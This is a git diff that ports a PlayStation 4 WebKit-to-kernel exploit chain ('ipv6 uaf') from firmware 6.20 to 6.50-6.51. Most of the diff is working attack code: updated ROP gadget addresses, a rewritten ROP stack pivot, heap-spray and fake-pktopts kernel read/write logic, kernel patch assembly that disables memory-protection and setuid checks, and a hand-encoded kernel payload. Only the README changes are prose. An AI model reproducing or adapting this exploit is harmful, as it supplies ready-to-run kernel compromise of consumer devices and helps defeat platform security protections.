diff --git a/README.md b/README.md
index c05357f..b45aa1b 100644
--- a/README.md
+++ b/README.md
@@ -1,7 +1,7 @@
-# PS4 6.20 Kernel Exploit
+# PS4 6.50 - 6.51 Kernel Exploit
---
## Summary
-In this project you will find a full implementation of the "ipv6 uaf" kernel exploit for the PlayStation 4 on 6.20. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. will launch the usual payload launcher (on port 9020).
+In this project you will find a full implementation of the "ipv6 uaf" kernel exploit for the PlayStation 4 on 6.50 - 6.51. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. will launch the usual payload launcher (on port 9020).
This bug was originally discovered by [Fire30](https://twitter.com/fire30), and subsequently found by [Andy Nguyen](https://twitter.com/theflow0/)
@@ -22,4 +22,5 @@ The following patches are applied to the kernel:
- [Specter](https://twitter.com/SpecterDev) - advice + [5.05 webkit](https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js) and [(6.20) rop execution method](https://github.com/Cryptogenic/PS4-6.20-WebKit-Code-Execution-Exploit)
- [kiwidog](https://twitter.com/kd_tech_) - advice
- [Fire30](https://twitter.com/fire30) - [bad_hoist](https://github.com/Fire30/bad_hoist)
-- [Andy Nguyen](https://twitter.com/theflow0/) - [disclosed exploit code](https://hackerone.com/reports/826026)
\ No newline at end of file
+- [Andy Nguyen](https://twitter.com/theflow0/) - [disclosed exploit code](https://hackerone.com/reports/826026)
+- [SocraticBliss](https://twitter.com/SocraticBliss) - Shakespeare dev & crash test dummy
\ No newline at end of file
diff --git a/expl.js b/expl.js
index 3c4f6ee..6bf9c3b 100644
--- a/expl.js
+++ b/expl.js
@@ -340,4 +340,5 @@ var prim = {
};
window.primitives = prim;
-if (window.postExpl) window.postExpl();
\ No newline at end of file
+
+postExploit();
\ No newline at end of file
diff --git a/index.html b/index.html
index 3a4f1f3..5bf312e 100644
--- a/index.html
+++ b/index.html
@@ -1,7 +1,7 @@
- PS4Brew 6.20
+ PS4Brew 6.50 - 6.51
-
-
+
@@ -102,13 +82,13 @@
- Only firmware 6.20 is supported!
+ Only firmware 6.50 - 6.51 is supported!
-
+
diff --git a/rop.js b/rop.js
index 0e7617a..13fde76 100644
--- a/rop.js
+++ b/rop.js
@@ -157,7 +157,14 @@ window.rop = function () {
this.push(branch_addr_spc);
this.push(window.gadgets["add rax, rdx"]);
this.push(window.gadgets["mov rax, [rax]"]);
- this.push(window.gadgets["xchg rax, rsp"]);
+ this.push(window.gadgets["pop rdi"]);
+ var a = this.pushSymbolic();
+ this.push(window.gadgets["mov [rdi], rax"]);
+ this.push(window.gadgets["pop rsp"]);
+ var b = this.get_rsp();
+ this.push(0x41414141);
+
+ this.finalizeSymbolic(a, b);
return branch_addr_spc;
@@ -179,7 +186,14 @@ window.rop = function () {
this.push(branch_addr_spc);
this.push(window.gadgets["add rax, rdx"]);
this.push(window.gadgets["mov rax, [rax]"]);
- this.push(window.gadgets["xchg rax, rsp"]);
+ this.push(window.gadgets["pop rdi"]);
+ var a = this.pushSymbolic();
+ this.push(window.gadgets["mov [rdi], rax"]);
+ this.push(window.gadgets["pop rsp"]);
+ var b = this.get_rsp();
+ this.push(0x41414141);
+
+ this.finalizeSymbolic(a, b);
return branch_addr_spc;
}
@@ -200,7 +214,14 @@ window.rop = function () {
this.push(branch_addr_spc);
this.push(window.gadgets["add rax, rdx"]);
this.push(window.gadgets["mov rax, [rax]"]);
- this.push(window.gadgets["xchg rax, rsp"]);
+ this.push(window.gadgets["pop rdi"]);
+ var a = this.pushSymbolic();
+ this.push(window.gadgets["mov [rdi], rax"]);
+ this.push(window.gadgets["pop rsp"]);
+ var b = this.get_rsp();
+ this.push(0x41414141);
+
+ this.finalizeSymbolic(a, b);
return branch_addr_spc;
}
@@ -221,7 +242,14 @@ window.rop = function () {
this.push(branch_addr_spc);
this.push(window.gadgets["add rax, rdx"]);
this.push(window.gadgets["mov rax, [rax]"]);
- this.push(window.gadgets["xchg rax, rsp"]);
+ this.push(window.gadgets["pop rdi"]);
+ var a = this.pushSymbolic();
+ this.push(window.gadgets["mov [rdi], rax"]);
+ this.push(window.gadgets["pop rsp"]);
+ var b = this.get_rsp();
+ this.push(0x41414141);
+
+ this.finalizeSymbolic(a, b);
return branch_addr_spc;
}
@@ -242,7 +270,14 @@ window.rop = function () {
this.push(branch_addr_spc);
this.push(window.gadgets["add rax, rdx"]);
this.push(window.gadgets["mov rax, [rax]"]);
- this.push(window.gadgets["xchg rax, rsp"]);
+ this.push(window.gadgets["pop rdi"]);
+ var a = this.pushSymbolic();
+ this.push(window.gadgets["mov [rdi], rax"]);
+ this.push(window.gadgets["pop rsp"]);
+ var b = this.get_rsp();
+ this.push(0x41414141);
+
+ this.finalizeSymbolic(a, b);
return branch_addr_spc;
}
diff --git a/userland.js b/userland.js
index ef58ee3..5477877 100644
--- a/userland.js
+++ b/userland.js
@@ -10,63 +10,55 @@ var get_jmptgt = function (addr) {
var gadgets;
-window.stage2 = function () {
- try {
- window.stage2_();
- } catch (e) {
- alert(e);
- }
-}
-
gadgetcache = {
"ret": 0x0000003C,
- "pop rdi": 0x0009E67D,
- "pop rsi": 0x000756CB,
- "pop rdx": 0x002516B2,
- "pop rcx": 0x000348D3,
- "pop r8": 0x00079211,
- "pop r9": 0x000CDB41,
-
- "pop rax": 0x00075BDF,
- "pop rsp": 0x00075D9A,
- "mov [rdi], rax": 0x0001FB49,
- "mov [rdi], rsi": 0x00034EF0,
- "infloop": 0x00013AAE, //debug only
-
- "mov [rdi], eax": 0x0001F878,
- "mov rax, r8": 0x00288926,
+ "pop rdi": 0x00251552,
+ "pop rsi": 0x0003D0FE,
+ "pop rdx": 0x003A9092,
+ "pop rcx": 0x00026A5B,
+ "pop r8": 0x00033212,
+ "pop r9": 0x005C2701,
+
+ "pop rax": 0x00033213,
+ "pop rsp": 0x00014FE7,
+ "mov [rdi], rax": 0x000206D9,
+ "mov [rdi], rsi": 0x00035A60,
+ "infloop": 0x0001DE41, //debug only
+
+ "mov [rdi], eax": 0x00020408,
+ "mov rax, r8": 0x0028D2C9,
//branching
- "sete al": 0x0001DE74,
- "setne al": 0x00008FB0,
- "setg al": 0x000E3A47,
- "setge al": 0x006158F2,
- "setl al": 0x0058C85C,
- "setle al": 0x000C94E6,
- "cmp [rcx], edi": 0x0010CA51,
- "shl rax, 3": 0x005DFD63,
- "add rax, rdx": 0x00AFEEC6,
- "mov rax, [rax]": 0x0002DC22,
+ "sete al": 0x0001E9F4,
+ "setne al": 0x00008E70,
+ "setg al": 0x000E5357,
+ "setge al": 0x00619AC2,
+ "setl al": 0x00591FFC,
+ "setle al": 0x000CA3A1,
+ "cmp [rcx], edi": 0x0010ED11,
+ "shl rax, 3": 0x005E4A13,
+ "add rax, rdx": 0x003D23AC,
+ "mov rax, [rax]": 0x0002E6F2,
"xchg rax, rsp": 0x020A1E68,
};
-var setJmpOffset = 0xC179C; // libk = 0x2C343;
-var setJmpGadget_one = 0x006CDE3B; //mov rax, qword ptr [rcx] ; mov rdi, rcx ; jmp qword ptr [rax + 0xa8]
-var setJmpGadget_two = 0x01873923; // mov rdi, qword ptr [rax + 0x10] ; jmp qword ptr [rax + 8]
+var setJmpOffset = 0xC06CC; // libk = 0x2C343;
+var setJmpGadget_one = 0x006D0715; //mov rax, qword ptr [rcx] ; mov rdi, rcx ; jmp qword ptr [rax + 0xa8]
+var setJmpGadget_two = 0x0028EA63; // mov rdi, [rdi + 0x10] ; jmp qword ptr [rax + 8]
-var longJmpOffset = 0xC17F6; // libk = 0x2C39C;
-var longJmpGadget_one = 0x006CDE3B; //mov rax, qword ptr [rcx] ; mov rdi, rcx ; jmp qword ptr [rax + 0xa8]
-var longJmpGadget_two = 0x01873923; // mov rdi, qword ptr [rax + 0x10] ; jmp qword ptr [rax + 8]
-var pthread_create_np_offset = 0x259B0;
-var pthread_exit_offset = 0x1A240;
-var libk__error_offset = 0x16490;
+var longJmpOffset = 0xC0726; // libk = 0x2C39C;
+var longJmpGadget_one = 0x006D0715; //mov rax, qword ptr [rcx] ; mov rdi, rcx ; jmp qword ptr [rax + 0xa8]
+var longJmpGadget_two = 0x0028EA63; // mov rdi, [rdi + 0x10] ; jmp qword ptr [rax + 8]
+var pthread_create_np_offset = 0x25A40;
+var pthread_exit_offset = 0x1A1D0;
+var libk__error_offset = 0x163C0;
var libcint_memset_page_offset = 0x54000;
var libk_stack_chk_fail_page_offset = 0x10000;
-var libwk_first_vt_entry_offset = 0x996C50;
+var libwk_first_vt_entry_offset = 0x998E00;
var nogc = [];
-window.stage2_ = function () {
+var stage2_ = function () {
p = window.prim;
var textArea = document.createElement("textarea");
var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
@@ -86,8 +78,8 @@ window.stage2_ = function () {
return webKitBase.add32(o);
}
gadgets2 = {
- "stack_chk_fail": o2wk(0x25B8),
- "memset": o2wk(0x25D8)
+ "stack_chk_fail": o2wk(0x24C8),
+ "memset": o2wk(0x24E8)
};
p.malloc = function malloc(sz) {
@@ -121,7 +113,6 @@ window.stage2_ = function () {
libSceLibcInternalBase.low &= 0xFFFFC000;
libSceLibcInternalBase.sub32inplace(libcint_memset_page_offset);
-
var libKernelBase = p.read8(get_jmptgt(gadgets2.stack_chk_fail));
window.libKernelBase = libKernelBase;
libKernelBase.low &= 0xFFFFC000;
@@ -134,13 +125,13 @@ window.stage2_ = function () {
var modified_context = p.malloc32(0x40);
p.write8(setjmpFakeVtable.add32(0x0), setjmpFakeVtable);
- p.write8(setjmpFakeVtable.add32(0xA8), webKitBase.add32(setJmpGadget_two)); // mov rdi, qword ptr [rax + 0x10]; jmp qword ptr [rax + 8];
+ p.write8(setjmpFakeVtable.add32(0xA8), webKitBase.add32(setJmpGadget_two)); // mov rdi, [rdi + 0x10] ; jmp qword ptr [rax + 8]
p.write8(setjmpFakeVtable.add32(0x10), original_context);
p.write8(setjmpFakeVtable.add32(0x8), libSceLibcInternalBase.add32(setJmpOffset));
p.write8(setjmpFakeVtable.add32(0x1D8), webKitBase.add32(setJmpGadget_one)); //mov rax, qword ptr [rcx] ; mov rdi, rcx ; jmp qword ptr [rax + 0xa8]
p.write8(longjmpFakeVtable.add32(0x0), longjmpFakeVtable);
- p.write8(longjmpFakeVtable.add32(0xA8), webKitBase.add32(longJmpGadget_two)); // mov rdi, qword ptr [rax + 0x10]; jmp qword ptr [rax + 8];
+ p.write8(longjmpFakeVtable.add32(0xA8), webKitBase.add32(longJmpGadget_two)); // mov rdi, [rdi + 0x10] ; jmp qword ptr [rax + 8]
p.write8(longjmpFakeVtable.add32(0x10), modified_context);
p.write8(longjmpFakeVtable.add32(0x8), libSceLibcInternalBase.add32(longJmpOffset));
p.write8(longjmpFakeVtable.add32(0x1D8), webKitBase.add32(longJmpGadget_one)); //mov rax, qword ptr [rcx] ; mov rdi, rcx ; jmp qword ptr [rax + 0xa8]
@@ -363,7 +354,7 @@ window.stage2_ = function () {
const PKTOPTS_TCLASS_OFFSET = 0xB0;
const KNOTE_KN_OFFSET = 0x60;
- const KERNEL_SOCKETOPS_OFFSET = 0x1A8DC48; //kernel offset
+ const KERNEL_SOCKETOPS_OFFSET = 0x154BB38; //kernel offset
const NUM_SPRAY_SOCKS = 0xC8;
const NUM_LEAK_SOCKS = 0xC8;
@@ -657,7 +648,7 @@ window.stage2_ = function () {
if ((ltclass & 0xFFFF0000) == tclass) {
return ltclass & 0x0000FFFF;
}
- alert("failed to find rthdr <-> master sock overlap");
+ alert("[Error] failed to find rthdr <-> master sock overlap");
while (1) {}
}
@@ -729,7 +720,7 @@ window.stage2_ = function () {
return;
}
}
- alert("failed to find slave");
+ alert("[Error] failed to find slave");
while (1) {}
}
@@ -761,7 +752,7 @@ window.stage2_ = function () {
}
}
if (overlapped_socket == -1) {
- alert("failed to find overlapped socket, how even?");
+ alert("[Error] failed to find overlapped socket, how even?");
while (true) {}
}
@@ -769,7 +760,7 @@ window.stage2_ = function () {
//alert("fake 1");
overlapped_socket_idx = fake_pktopts(0, TCLASS_MASTER);
if (overlapped_socket_idx == -1) {
- alert("failed to fake pktopts 1");
+ alert("[Error] failed to fake pktopts 1");
while (true) {}
}
overlapped_socket = leak_socks[overlapped_socket_idx];
@@ -786,7 +777,7 @@ window.stage2_ = function () {
//alert("fake 2");
overlapped_socket_idx = fake_pktopts(pktopts_leak_addr.add32(PKTOPTS_PKTINFO_OFFSET), TCLASS_MASTER2);
if (overlapped_socket_idx == -1) {
- alert("failed to fake pktopts 2");
+ alert("[Error] failed to fake pktopts 2");
while (true) {}
}
overlapped_socket = leak_socks[overlapped_socket_idx];
@@ -826,7 +817,7 @@ window.stage2_ = function () {
var exec_address = p.syscall(477, new int64(0x90000000, 0x9), 0x100000, 0x5, 1, exec_handle, 0)
p.syscall(324, 1);
if (exec_address.low != 0x90000000) {
- alert("failed to allocate rwx memory");
+ alert("[Error] failed to allocate rwx memory");
}
var this_proc_ptr = kernel_read8(this_thread_ptr.add32(0x8));
@@ -864,10 +855,11 @@ window.stage2_ = function () {
//rwx mprotect
mov rsi, 0x8B49909090909090
- mov qword ptr [rdi + 0x352278], rsi
+ mov qword ptr [rdi + 0x451A08], rsi
- //setuid
- mov dword ptr [rdi + 0x290E2], 0x000000B8
+ //setuid
+ mov rsi, 0x74C08500000000B8
+ mov qword ptr [rdi + 0x10BB20], rsi
//syscalls everywhere
mov dword ptr [rdi + 0x490], 0x0
@@ -876,21 +868,21 @@ window.stage2_ = function () {
mov word ptr [rdi + 0x4C6], 0xE990
//rwx mmap
- mov byte ptr [rdi + 0x24026D], 0x37
- mov byte ptr [rdi + 0x240270], 0x37
+ mov byte ptr [rdi + 0xAB57A], 0x37
+ mov byte ptr [rdi + 0xAB57D], 0x37
//dlsym
- mov word ptr [rdi + 0x27F67A], 0xE990
- mov dword ptr [rdi + 0x1A810], 0xC3C03148
+ mov word ptr [rdi + 0x1D85AA], 0xE990
+ mov dword ptr [rdi + 0x419F20], 0xC3C03148
//syscall 11
- mov qword ptr [rdi + 0x111F750], 0x2
- mov rsi, 0x1827AC
+ mov qword ptr [rdi + 0x111D210], 0x2
+ mov rsi, 0x31BCAC
add rsi, rdi
- mov qword ptr [rdi + 0x111F758], rsi
+ mov qword ptr [rdi + 0x111D218], rsi
mov rsi, 0x0000000100000000
- mov qword ptr [rdi + 0x111F778], rsi
+ mov qword ptr [rdi + 0x111D238], rsi
//enable wp
@@ -910,9 +902,10 @@ window.stage2_ = function () {
var jitt = p.fcall(exec_address);
if (jitt.low != 0x1337) {
- alert("failed jit test = 0x" + jitt);
+ alert("[Error] failed jit test = 0x" + jitt);
}
-
+
+ //main kpayload (with patches)
exec_writer[0] = 0xAAAABF48;
exec_writer[1] = 0xAAAAAAAA;
exec_writer[2] = 0xC748AAAA;
@@ -940,44 +933,46 @@ window.stage2_ = function () {
exec_writer[24] = 0x9090BE48;
exec_writer[25] = 0x90909090;
exec_writer[26] = 0x89488B49;
- exec_writer[27] = 0x352278B7;
- exec_writer[28] = 0xE287C700;
- exec_writer[29] = 0xB8000290;
- exec_writer[30] = 0xC7000000;
- exec_writer[31] = 0x00049087;
- exec_writer[32] = 0x00000000;
- exec_writer[33] = 0x87C76600;
- exec_writer[34] = 0x000004B9;
- exec_writer[35] = 0xC7669090;
- exec_writer[36] = 0x0004BD87;
- exec_writer[37] = 0x66909000;
- exec_writer[38] = 0x04C687C7;
- exec_writer[39] = 0xE9900000;
- exec_writer[40] = 0x026D87C6;
- exec_writer[41] = 0xC6370024;
- exec_writer[42] = 0x24027087;
- exec_writer[43] = 0xC7663700;
- exec_writer[44] = 0x27F67A87;
- exec_writer[45] = 0xC7E99000;
- exec_writer[46] = 0x01A81087;
- exec_writer[47] = 0xC0314800;
- exec_writer[48] = 0x87C748C3;
- exec_writer[49] = 0x0111F750;
- exec_writer[50] = 0x00000002;
- exec_writer[51] = 0xACC6C748;
- exec_writer[52] = 0x48001827;
- exec_writer[53] = 0x8948FE01;
- exec_writer[54] = 0x11F758B7;
- exec_writer[55] = 0x00BE4801;
- exec_writer[56] = 0x01000000;
- exec_writer[57] = 0x48000000;
- exec_writer[58] = 0xF778B789;
- exec_writer[59] = 0x0D480111;
- exec_writer[60] = 0x00010000;
- exec_writer[61] = 0x48C0220F;
- exec_writer[62] = 0x808080B8;
- exec_writer[63] = 0x80808080;
- exec_writer[64] = 0x9090C380;
+ exec_writer[27] = 0x451A08B7;
+ exec_writer[28] = 0xB8BE4800;
+ exec_writer[29] = 0x00000000;
+ exec_writer[30] = 0x4874C085;
+ exec_writer[31] = 0xBB20B789;
+ exec_writer[32] = 0x87C70010;
+ exec_writer[33] = 0x00000490;
+ exec_writer[34] = 0x00000000;
+ exec_writer[35] = 0xB987C766;
+ exec_writer[36] = 0x90000004;
+ exec_writer[37] = 0x87C76690;
+ exec_writer[38] = 0x000004BD;
+ exec_writer[39] = 0xC7669090;
+ exec_writer[40] = 0x0004C687;
+ exec_writer[41] = 0xC6E99000;
+ exec_writer[42] = 0x0AB57A87;
+ exec_writer[43] = 0x87C63700;
+ exec_writer[44] = 0x000AB57D;
+ exec_writer[45] = 0x87C76637;
+ exec_writer[46] = 0x001D85AA;
+ exec_writer[47] = 0x87C7E990;
+ exec_writer[48] = 0x00419F20;
+ exec_writer[49] = 0xC3C03148;
+ exec_writer[50] = 0x1087C748;
+ exec_writer[51] = 0x020111D2;
+ exec_writer[52] = 0x48000000;
+ exec_writer[53] = 0xBCACC6C7;
+ exec_writer[54] = 0x01480031;
+ exec_writer[55] = 0xB78948FE;
+ exec_writer[56] = 0x0111D218;
+ exec_writer[57] = 0x0000BE48;
+ exec_writer[58] = 0x00010000;
+ exec_writer[59] = 0x89480000;
+ exec_writer[60] = 0x11D238B7;
+ exec_writer[61] = 0x000D4801;
+ exec_writer[62] = 0x0F000100;
+ exec_writer[63] = 0xB848C022;
+ exec_writer[64] = 0x80808080;
+ exec_writer[65] = 0x80808080;
+ exec_writer[66] = 0x909090C3;
p.write8(write_address.add32(0x2), this_master_sock_pktopts_address.add32(PKTOPTS_PKTINFO_OFFSET));
@@ -992,7 +987,7 @@ window.stage2_ = function () {
p.syscall(54, kevent_sock, 0x20001111, 0);
//alert("survived kernel hell, all is ok? 0x" + p.read8(errno_location)); //0x80808080
-
+
//kernel dumper payload | generic
/*
exec_writer[0] = 0xAAAABF48;
@@ -1197,7 +1192,7 @@ window.stage2_ = function () {
p.write8(write_address.add32(0x63), window.syscalls[98]);
p.write8(write_address.add32(0x87), window.syscalls[105]);
- alert("calling the thing");
+ alert("open port 9011 for kernel dump...");
p.fcall(exec_address, userland_buffer, 0x4A00000);
alert("made it out alive");
alert("done");
@@ -1208,4 +1203,12 @@ window.stage2_ = function () {
*/
p.write8(0, 0); //kill browser
while (true) {}
+}
+
+function postExploit() {
+ try {
+ stage2_();
+ } catch (e) {
+ alert(e);
+ }
}
\ No newline at end of file